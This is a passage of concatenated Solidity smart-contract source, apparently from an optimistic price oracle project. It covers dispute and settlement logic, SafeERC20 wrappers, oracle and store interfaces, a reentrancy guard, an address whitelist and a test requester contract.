bytes memory ancillaryData,
int256 proposedPrice
) external override returns (uint256 totalBond) {
// Note: re-entrancy guard is done in the inner call.
return proposePriceFor(msg.sender, requester, identifier, timestamp, ancillaryData, proposedPrice);
}
/**
* @notice Disputes a price request with an active proposal on another address' behalf. Note: this address will
* receive any rewards that come from this dispute. However, any bonds are pulled from the caller.
* @param disputer address to set as the disputer.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return totalBond the amount that's pulled from the caller's wallet as a bond. The bond will be returned to
* the disputer once settled if the dispute was valid (the proposal was incorrect).
*/
function disputePriceFor(
address disputer,
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) public override nonReentrant() returns (uint256 totalBond) {
require(disputer != address(0), "disputer address must be non 0");
require(
getState(requester, identifier, timestamp, ancillaryData) == State.Proposed,
"disputePriceFor: Proposed"
);
Request storage request = _getRequest(requester, identifier, timestamp, ancillaryData);
request.disputer = disputer;
uint256 finalFee = request.finalFee;
uint256 bond = request.bond;
totalBond = bond.add(finalFee);
if (totalBond > 0) {
request.currency.safeTransferFrom(msg.sender, address(this), totalBond);
}
StoreInterface store = _getStore();
// Avoids stack too deep compilation error.
{
// Along with the final fee, "burn" part of the loser's bond to ensure that a larger bond always makes it
// proportionally more expensive to delay the resolution even if the proposer and disputer are the same
// party.
uint256 burnedBond = _computeBurnedBond(request);
// The total fee is the burned bond and the final fee added together.
uint256 totalFee = finalFee.add(burnedBond);
if (totalFee > 0) {
request.currency.safeIncreaseAllowance(address(store), totalFee);
_getStore().payOracleFeesErc20(address(request.currency), FixedPoint.Unsigned(totalFee));
}
}
_getOracle().requestPrice(identifier, timestamp, _stampAncillaryData(ancillaryData, requester));
// Compute refund.
uint256 refund = 0;
if (request.reward > 0 && request.refundOnDispute) {
refund = request.reward;
request.reward = 0;
request.currency.safeTransfer(requester, refund);
}
emit DisputePrice(
requester,
request.proposer,
disputer,
identifier,
timestamp,
ancillaryData,
request.proposedPrice
);
// Callback.
if (address(requester).isContract())
try OptimisticRequester(requester).priceDisputed(identifier, timestamp, ancillaryData, refund) {} catch {}
}
/**
* @notice Disputes a price value for an existing price request with an active proposal.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return totalBond the amount that's pulled from the disputer's wallet as a bond. The bond will be returned to
* the disputer once settled if the dispute was valid (the proposal was incorrect).
*/
function disputePrice(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) external override returns (uint256 totalBond) {
// Note: re-entrancy guard is done in the inner call.
return disputePriceFor(msg.sender, requester, identifier, timestamp, ancillaryData);
}
/**
* @notice Retrieves a price that was previously requested by a caller. Reverts if the request is not settled
* or settleable. Note: this method is not view so that this call may actually settle the price request if it
* hasn't been settled.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return resolved price.
*/
function settleAndGetPrice(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) external override nonReentrant() returns (int256) {
if (getState(msg.sender, identifier, timestamp, ancillaryData) != State.Settled) {
_settle(msg.sender, identifier, timestamp, ancillaryData);
}
return _getRequest(msg.sender, identifier, timestamp, ancillaryData).resolvedPrice;
}
/**
* @notice Attempts to settle an outstanding price request. Will revert if it isn't settleable.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return payout the amount that the "winner" (proposer or disputer) receives on settlement. This amount includes
* the returned bonds as well as additional rewards.
*/
function settle(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) external override nonReentrant() returns (uint256 payout) {
return _settle(requester, identifier, timestamp, ancillaryData);
}
/**
* @notice Gets the current data structure containing all information about a price request.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return the Request data structure.
*/
function getRequest(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) public view override returns (Request memory) {
return _getRequest(requester, identifier, timestamp, ancillaryData);
}
/**
* @notice Computes the current state of a price request. See the State enum for more details.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return the State.
*/
function getState(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) public view override returns (State) {
Request storage request = _getRequest(requester, identifier, timestamp, ancillaryData);
if (address(request.currency) == address(0)) {
return State.Invalid;
}
if (request.proposer == address(0)) {
return State.Requested;
}
if (request.settled) {
return State.Settled;
}
if (request.disputer == address(0)) {
return request.expirationTime <= getCurrentTime() ? State.Expired : State.Proposed;
}
return
_getOracle().hasPrice(identifier, timestamp, _stampAncillaryData(ancillaryData, requester))
? State.Resolved
: State.Disputed;
}
/**
* @notice Checks if a given request has resolved, expired or been settled (i.e the optimistic oracle has a price).
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return boolean indicating true if price exists and false if not.
*/
function hasPrice(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) public view override returns (bool) {
State state = getState(requester, identifier, timestamp, ancillaryData);
return state == State.Settled || state == State.Resolved || state == State.Expired;
}
/**
* @notice Generates stamped ancillary data in the format that it would be used in the case of a price dispute.
* @param ancillaryData ancillary data of the price being requested.
* @param requester sender of the initial price request.
* @return the stampped ancillary bytes.
*/
function stampAncillaryData(bytes memory ancillaryData, address requester) public pure returns (bytes memory) {
return _stampAncillaryData(ancillaryData, requester);
}
function _getId(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) private pure returns (bytes32) {
return keccak256(abi.encodePacked(requester, identifier, timestamp, ancillaryData));
}
function _settle(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) private returns (uint256 payout) {
State state = getState(requester, identifier, timestamp, ancillaryData);
// Set it to settled so this function can never be entered again.
Request storage request = _getRequest(requester, identifier, timestamp, ancillaryData);
request.settled = true;
if (state == State.Expired) {
// In the expiry case, just pay back the proposer's bond and final fee along with the reward.
request.resolvedPrice = request.proposedPrice;
payout = request.bond.add(request.finalFee).add(request.reward);
request.currency.safeTransfer(request.proposer, payout);
} else if (state == State.Resolved) {
// In the Resolved case, pay either the disputer or the proposer the entire payout (+ bond and reward).
request.resolvedPrice = _getOracle().getPrice(
identifier,
timestamp,
_stampAncillaryData(ancillaryData, requester)
);
bool disputeSuccess = request.resolvedPrice != request.proposedPrice;
uint256 bond = request.bond;
// Unburned portion of the loser's bond = 1 - burned bond.
uint256 unburnedBond = bond.sub(_computeBurnedBond(request));
// Winner gets:
// - Their bond back.
// - The unburned portion of the loser's bond.
// - Their final fee back.
// - The request reward (if not already refunded -- if refunded, it will be set to 0).
payout = bond.add(unburnedBond).add(request.finalFee).add(request.reward);
request.currency.safeTransfer(disputeSuccess ? request.disputer : request.proposer, payout);
} else {
revert("_settle: not settleable");
}
emit Settle(
requester,
request.proposer,
request.disputer,
identifier,
timestamp,
ancillaryData,
request.resolvedPrice,
payout
);
// Callback.
if (address(requester).isContract())
try
OptimisticRequester(requester).priceSettled(identifier, timestamp, ancillaryData, request.resolvedPrice)
{} catch {}
}
function _getRequest(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) private view returns (Request storage) {
return requests[_getId(requester, identifier, timestamp, ancillaryData)];
}
function _computeBurnedBond(Request storage request) private view returns (uint256) {
// burnedBond = floor(bond / 2)
return request.bond.div(2);
}
function _validateLiveness(uint256 _liveness) private pure {
require(_liveness < 5200 weeks, "Liveness too large");
require(_liveness > 0, "Liveness cannot be 0");
}
function _getOracle() internal view returns (OracleAncillaryInterface) {
return OracleAncillaryInterface(finder.getImplementationAddress(OracleInterfaces.Oracle));
}
function _getCollateralWhitelist() internal view returns (AddressWhitelist) {
return AddressWhitelist(finder.getImplementationAddress(OracleInterfaces.CollateralWhitelist));
}
function _getStore() internal view returns (StoreInterface) {
return StoreInterface(finder.getImplementationAddress(OracleInterfaces.Store));
}
function _getIdentifierWhitelist() internal view returns (IdentifierWhitelistInterface) {
return IdentifierWhitelistInterface(finder.getImplementationAddress(OracleInterfaces.IdentifierWhitelist));
}
// Stamps the ancillary data blob with the optimistic oracle tag denoting what contract requested it.
function _stampAncillaryData(bytes memory ancillaryData, address requester) internal pure returns (bytes memory) {
return abi.encodePacked(ancillaryData, "OptimisticOracle", requester);
}
}
pragma solidity ^0.6.0;
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "../../common/implementation/FixedPoint.sol";
/**
* @title Interface that allows financial contracts to pay oracle fees for their use of the system.
*/
interface StoreInterface {
/**
* @notice Pays Oracle fees in ETH to the store.
* @dev To be used by contracts whose margin currency is ETH.
*/
function payOracleFees() external payable;
/**
* @notice Pays oracle fees in the margin currency, erc20Address, to the store.
* @dev To be used if the margin currency is an ERC20 token rather than ETH.
* @param erc20Address address of the ERC20 token used to pay the fee.
* @param amount number of tokens to transfer. An approval for at least this amount must exist.
*/
function payOracleFeesErc20(address erc20Address, FixedPoint.Unsigned calldata amount) external;
/**
* @notice Computes the regular oracle fees that a contract should pay for a period.
* @param startTime defines the beginning time from which the fee is paid.
* @param endTime end time until which the fee is paid.
* @param pfc "profit from corruption", or the maximum amount of margin currency that a
* token sponsor could extract from the contract through corrupting the price feed in their favor.
* @return regularFee amount owed for the duration from start to end time for the given pfc.
* @return latePenalty for paying the fee after the deadline.
*/
function computeRegularFee(
uint256 startTime,
uint256 endTime,
FixedPoint.Unsigned calldata pfc
) external view returns (FixedPoint.Unsigned memory regularFee, FixedPoint.Unsigned memory latePenalty);
/**
* @notice Computes the final oracle fees that a contract should pay at settlement.
* @param currency token used to pay the final fee.
* @return finalFee amount due.
*/
function computeFinalFee(address currency) external view returns (FixedPoint.Unsigned memory);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/**
* @title Financial contract facing Oracle interface.
* @dev Interface used by financial contracts to interact with the Oracle. Voters will use a different interface.
*/
abstract contract OptimisticOracleInterface {
// Struct representing the state of a price request.
enum State {
Invalid, // Never requested.
Requested, // Requested, no other actions taken.
Proposed, // Proposed, but not expired or disputed yet.
Expired, // Proposed, not disputed, past liveness.
Disputed, // Disputed, but no DVM price returned yet.
Resolved, // Disputed and DVM price is available.
Settled // Final price has been set in the contract (can get here from Expired or Resolved).
}
// Struct representing a price request.
struct Request {
address proposer; // Address of the proposer.
address disputer; // Address of the disputer.
IERC20 currency; // ERC20 token used to pay rewards and fees.
bool settled; // True if the request is settled.
bool refundOnDispute; // True if the requester should be refunded their reward on dispute.
int256 proposedPrice; // Price that the proposer submitted.
int256 resolvedPrice; // Price resolved once the request is settled.
uint256 expirationTime; // Time at which the request auto-settles without a dispute.
uint256 reward; // Amount of the currency to pay to the proposer on settlement.
uint256 finalFee; // Final fee to pay to the Store upon request to the DVM.
uint256 bond; // Bond that the proposer and disputer must pay on top of the final fee.
uint256 customLiveness; // Custom liveness value set by the requester.
}
// This value must be <= the Voting contract's `ancillaryBytesLimit` value otherwise it is possible
// that a price can be requested to this contract successfully, but cannot be disputed because the DVM refuses
// to accept a price request made with ancillary data length of a certain size.
uint256 public constant ancillaryBytesLimit = 8192;
/**
* @notice Requests a new price.
* @param identifier price identifier being requested.
* @param timestamp timestamp of the price being requested.
* @param ancillaryData ancillary data representing additional args being passed with the price request.
* @param currency ERC20 token used for payment of rewards and fees. Must be approved for use with the DVM.
* @param reward reward offered to a successful proposer. Will be pulled from the caller. Note: this can be 0,
* which could make sense if the contract requests and proposes the value in the same call or
* provides its own reward system.
* @return totalBond default bond (final fee) + final fee that the proposer and disputer will be required to pay.
* This can be changed with a subsequent call to setBond().
*/
function requestPrice(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData,
IERC20 currency,
uint256 reward
) external virtual returns (uint256 totalBond);
/**
* @notice Set the proposal bond associated with a price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @param bond custom bond amount to set.
* @return totalBond new bond + final fee that the proposer and disputer will be required to pay. This can be
* changed again with a subsequent call to setBond().
*/
function setBond(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData,
uint256 bond
) external virtual returns (uint256 totalBond);
/**
* @notice Sets the request to refund the reward if the proposal is disputed. This can help to "hedge" the caller
* in the event of a dispute-caused delay. Note: in the event of a dispute, the winner still receives the other's
* bond, so there is still profit to be made even if the reward is refunded.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
*/
function setRefundOnDispute(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) external virtual;
/**
* @notice Sets a custom liveness value for the request. Liveness is the amount of time a proposal must wait before
* being auto-resolved.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @param customLiveness new custom liveness.
*/
function setCustomLiveness(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData,
uint256 customLiveness
) external virtual;
/**
* @notice Proposes a price value on another address' behalf. Note: this address will receive any rewards that come
* from this proposal. However, any bonds are pulled from the caller.
* @param proposer address to set as the proposer.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @param proposedPrice price being proposed.
* @return totalBond the amount that's pulled from the caller's wallet as a bond. The bond will be returned to
* the proposer once settled if the proposal is correct.
*/
function proposePriceFor(
address proposer,
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData,
int256 proposedPrice
) public virtual returns (uint256 totalBond);
/**
* @notice Proposes a price value for an existing price request.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @param proposedPrice price being proposed.
* @return totalBond the amount that's pulled from the proposer's wallet as a bond. The bond will be returned to
* the proposer once settled if the proposal is correct.
*/
function proposePrice(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData,
int256 proposedPrice
) external virtual returns (uint256 totalBond);
/**
* @notice Disputes a price request with an active proposal on another address' behalf. Note: this address will
* receive any rewards that come from this dispute. However, any bonds are pulled from the caller.
* @param disputer address to set as the disputer.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return totalBond the amount that's pulled from the caller's wallet as a bond. The bond will be returned to
* the disputer once settled if the dispute was value (the proposal was incorrect).
*/
function disputePriceFor(
address disputer,
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) public virtual returns (uint256 totalBond);
/**
* @notice Disputes a price value for an existing price request with an active proposal.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return totalBond the amount that's pulled from the disputer's wallet as a bond. The bond will be returned to
* the disputer once settled if the dispute was valid (the proposal was incorrect).
*/
function disputePrice(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) external virtual returns (uint256 totalBond);
/**
* @notice Retrieves a price that was previously requested by a caller. Reverts if the request is not settled
* or settleable. Note: this method is not view so that this call may actually settle the price request if it
* hasn't been settled.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return resolved price.
*/
function settleAndGetPrice(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) external virtual returns (int256);
/**
* @notice Attempts to settle an outstanding price request. Will revert if it isn't settleable.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return payout the amount that the "winner" (proposer or disputer) receives on settlement. This amount includes
* the returned bonds as well as additional rewards.
*/
function settle(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) external virtual returns (uint256 payout);
/**
* @notice Gets the current data structure containing all information about a price request.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return the Request data structure.
*/
function getRequest(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) public view virtual returns (Request memory);
function getState(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) public view virtual returns (State);
/**
* @notice Checks if a given request has resolved or been settled (i.e the optimistic oracle has a price).
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return the State.
*/
function hasPrice(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) public view virtual returns (bool);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
/**
* @title A contract that provides modifiers to prevent reentrancy to state-changing and view-only methods. This contract
* is inspired by https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/ReentrancyGuard.sol
* and https://github.com/balancer-labs/balancer-core/blob/master/contracts/BPool.sol.
*/
contract Lockable {
bool private _notEntered;
constructor() internal {
// Storing an initial non-zero value makes deployment a bit more
// expensive, but in exchange the refund on every call to nonReentrant
// will be lower in amount. Since refunds are capped to a percetange of
// the total transaction's gas, it is best to keep them low in cases
// like this one, to increase the likelihood of the full refund coming
// into effect.
_notEntered = true;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
_preEntranceCheck();
_preEntranceSet();
_;
_postEntranceReset();
}
/**
* @dev Designed to prevent a view-only method from being re-entered during a call to a `nonReentrant()` state-changing method.
*/
modifier nonReentrantView() {
_preEntranceCheck();
_;
}
// Internal methods are used to avoid copying the require statement's bytecode to every `nonReentrant()` method.
// On entry into a function, `_preEntranceCheck()` should always be called to check if the function is being re-entered.
// Then, if the function modifies state, it should call `_postEntranceSet()`, perform its logic, and then call `_postEntranceReset()`.
// View-only methods can simply call `_preEntranceCheck()` to make sure that it is not being re-entered.
function _preEntranceCheck() internal view {
// On the first call to nonReentrant, _notEntered will be true
require(_notEntered, "ReentrancyGuard: reentrant call");
}
function _preEntranceSet() internal {
// Any calls to nonReentrant after this point will fail
_notEntered = false;
}
function _postEntranceReset() internal {
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_notEntered = true;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "./Lockable.sol";
/**
* @title A contract to track a whitelist of addresses.
*/
contract AddressWhitelist is Ownable, Lockable {
enum Status { None, In, Out }
mapping(address => Status) public whitelist;
address[] public whitelistIndices;
event AddedToWhitelist(address indexed addedAddress);
event RemovedFromWhitelist(address indexed removedAddress);
/**
* @notice Adds an address to the whitelist.
* @param newElement the new address to add.
*/
function addToWhitelist(address newElement) external nonReentrant() onlyOwner {
// Ignore if address is already included
if (whitelist[newElement] == Status.In) {
return;
}
// Only append new addresses to the array, never a duplicate
if (whitelist[newElement] == Status.None) {
whitelistIndices.push(newElement);
}
whitelist[newElement] = Status.In;
emit AddedToWhitelist(newElement);
}
/**
* @notice Removes an address from the whitelist.
* @param elementToRemove the existing address to remove.
*/
function removeFromWhitelist(address elementToRemove) external nonReentrant() onlyOwner {
if (whitelist[elementToRemove] != Status.Out) {
whitelist[elementToRemove] = Status.Out;
emit RemovedFromWhitelist(elementToRemove);
}
}
/**
* @notice Checks whether an address is on the whitelist.
* @param elementToCheck the address to check.
* @return True if `elementToCheck` is on the whitelist, or False.
*/
function isOnWhitelist(address elementToCheck) external view nonReentrantView() returns (bool) {
return whitelist[elementToCheck] == Status.In;
}
/**
* @notice Gets all addresses that are currently included in the whitelist.
* @dev Note: This method skips over, but still iterates through addresses. It is possible for this call to run out
* of gas if a large number of addresses have been removed. To reduce the likelihood of this unlikely scenario, we
* can modify the implementation so that when addresses are removed, the last addresses in the array is moved to
* the empty index.
* @return activeWhitelist the list of addresses on the whitelist.
*/
function getWhitelist() external view nonReentrantView() returns (address[] memory activeWhitelist) {
// Determine size of whitelist first
uint256 activeCount = 0;
for (uint256 i = 0; i < whitelistIndices.length; i++) {
if (whitelist[whitelistIndices[i]] == Status.In) {
activeCount++;
}
}
// Populate whitelist
activeWhitelist = new address[](activeCount);
activeCount = 0;
for (uint256 i = 0; i < whitelistIndices.length; i++) {
address addr = whitelistIndices[i];
if (whitelist[addr] == Status.In) {
activeWhitelist[activeCount] = addr;
activeCount++;
}
}
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "../OptimisticOracle.sol";
// This is just a test contract to make requests to the optimistic oracle.
contract OptimisticRequesterTest is OptimisticRequester {
OptimisticOracle optimisticOracle;
bool public shouldRevert = false;
// State variables to track incoming calls.
bytes32 public identifier;
uint256 public timestamp;
bytes public ancillaryData;
uint256 public refund;
int256 public price;
// Implement collateralCurrency so that this contract simulates a financial contract whose collateral
// token can be fetched by off-chain clients.
IERC20 public collateralCurrency;
// Manually set an expiration timestamp to simulate expiry price requests
uint256 public expirationTimestamp;
constructor(OptimisticOracle _optimisticOracle) public {
optimisticOracle = _optimisticOracle;
}
function requestPrice(
bytes32 _identifier,
uint256 _timestamp,
bytes memory _ancillaryData,
IERC20 currency,
uint256 reward
) external {
// Set collateral currency to last requested currency:
collateralCurrency = currency;
currency.approve(address(optimisticOracle), reward);
optimisticOracle.requestPrice(_identifier, _timestamp, _ancillaryData, currency, reward);
}
function settleAndGetPrice(
bytes32 _identifier,
uint256 _timestamp,
bytes memory _ancillaryData
) external returns (int256) {
return optimisticOracle.settleAndGetPrice(_identifier, _timestamp, _ancillaryData);
}
function setBond(
bytes32 _identifier,
uint256 _timestamp,
bytes memory _ancillaryData,
uint256 bond
) external {
optimisticOracle.setBond(_identifier, _timestamp, _ancillaryData, bond);
}
function setRefundOnDispute(
bytes32 _identifier,
uint256 _timestamp,
bytes memory _ancillaryData
) external {
optimisticOracle.setRefundOnDispute(_identifier, _timestamp, _ancillaryData);
}
function setCustomLiveness(
bytes32 _identifier,
uint256 _timestamp,
bytes memory _ancillaryData,
uint256 customLiveness
) external {
optimisticOracle.setCustomLiveness(_identifier, _timestamp, _ancillaryData, customLiveness);
}
function setRevert(bool _shouldRevert) external {
shouldRevert = _shouldRevert;
}
function setExpirationTimestamp(uint256 _expirationTimestamp) external {
expirationTimestamp = _expirationTimestamp;
}
function clearState() external {
delete identifier;
delete timestamp;
delete refund;
delete price;
}
function priceProposed(
bytes32 _identifier,
uint256 _timestamp,
bytes memory _ancillaryData
) external override {
require(!shouldRevert);
identifier = _identifier;
timestamp = _timestamp;
ancillaryData = _ancillaryData;
}
function priceDisputed(
bytes32 _identifier,
uint256 _timestamp,
bytes memory _ancillaryData,
uint256 _refund
) external override {
require(!shouldRevert);
identifier = _identifier;
timestamp = _timestamp;
ancillaryData = _ancillaryData;
refund = _refund;
}
function priceSettled(
bytes32 _identifier,
uint256 _timestamp,
bytes memory _ancillaryData,
int256 _price
) external override {
require(!shouldRevert);
identifier = _identifier;
timestamp = _timestamp;
ancillaryData = _ancillaryData;
price = _price;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "../../common/implementation/FixedPoint.sol";
import "../../common/implementation/MultiRole.sol";
import "../../common/implementation/Withdrawable.sol";
import "../../common/implementation/Testable.sol";
import "../interfaces/StoreInterface.sol";
/**
* @title An implementation of Store that can accept Oracle fees in ETH or any arbitrary ERC20 token.
*/
contract Store is StoreInterface, Withdrawable, Testable {
using SafeMath for uint256;
using FixedPoint for FixedPoint.Unsigned;
using FixedPoint for uint256;
using SafeERC20 for IERC20;
/****************************************
* INTERNAL VARIABLES AND STORAGE *
****************************************/
enum Roles { Owner, Withdrawer }
FixedPoint.Unsigned public fixedOracleFeePerSecondPerPfc; // Percentage of 1 E.g., .1 is 10% Oracle fee.
FixedPoint.Unsigned public weeklyDelayFeePerSecondPerPfc; // Percentage of 1 E.g., .1 is 10% weekly delay fee.
mapping(address => FixedPoint.Unsigned) public finalFees;
uint256 public constant SECONDS_PER_WEEK = 604800;
/****************************************
* EVENTS *
****************************************/
event NewFixedOracleFeePerSecondPerPfc(FixedPoint.Unsigned newOracleFee);
event NewWeeklyDelayFeePerSecondPerPfc(FixedPoint.Unsigned newWeeklyDelayFeePerSecondPerPfc);
event NewFinalFee(FixedPoint.Unsigned newFinalFee);
/**
* @notice Construct the Store contract.
*/
constructor(
FixedPoint.Unsigned memory _fixedOracleFeePerSecondPerPfc,
FixedPoint.Unsigned memory _weeklyDelayFeePerSecondPerPfc,
address _timerAddress
) public Testable(_timerAddress) {
_createExclusiveRole(uint256(Roles.Owner), uint256(Roles.Owner), msg.sender);
_createWithdrawRole(uint256(Roles.Withdrawer), uint256(Roles.Owner), msg.sender);
setFixedOracleFeePerSecondPerPfc(_fixedOracleFeePerSecondPerPfc);
setWeeklyDelayFeePerSecondPerPfc(_weeklyDelayFeePerSecondPerPfc);
}
/****************************************
* ORACLE FEE CALCULATION AND PAYMENT *
****************************************/
/**
* @notice Pays Oracle fees in ETH to the store.
* @dev To be used by contracts whose margin currency is ETH.
*/
function payOracleFees() external payable override {
require(msg.value > 0, "Value sent can't be zero");
}
/**
* @notice Pays oracle fees in the margin currency, erc20Address, to the store.
* @dev To be used if the margin currency is an ERC20 token rather than ETH.
* @param erc20Address address of the ERC20 token used to pay the fee.
* @param amount number of tokens to transfer. An approval for at least this amount must exist.
*/
function payOracleFeesErc20(address erc20Address, FixedPoint.Unsigned calldata amount) external override {
IERC20 erc20 = IERC20(erc20Address);
require(amount.isGreaterThan(0), "Amount sent can't be zero");
erc20.safeTransferFrom(msg.sender, address(this), amount.rawValue);
}
/**
* @notice Computes the regular oracle fees that a contract should pay for a period.
* @dev The late penalty is similar to the regular fee in that is is charged per second over the period between
* startTime and endTime.
*
* The late penalty percentage increases over time as follows:
*
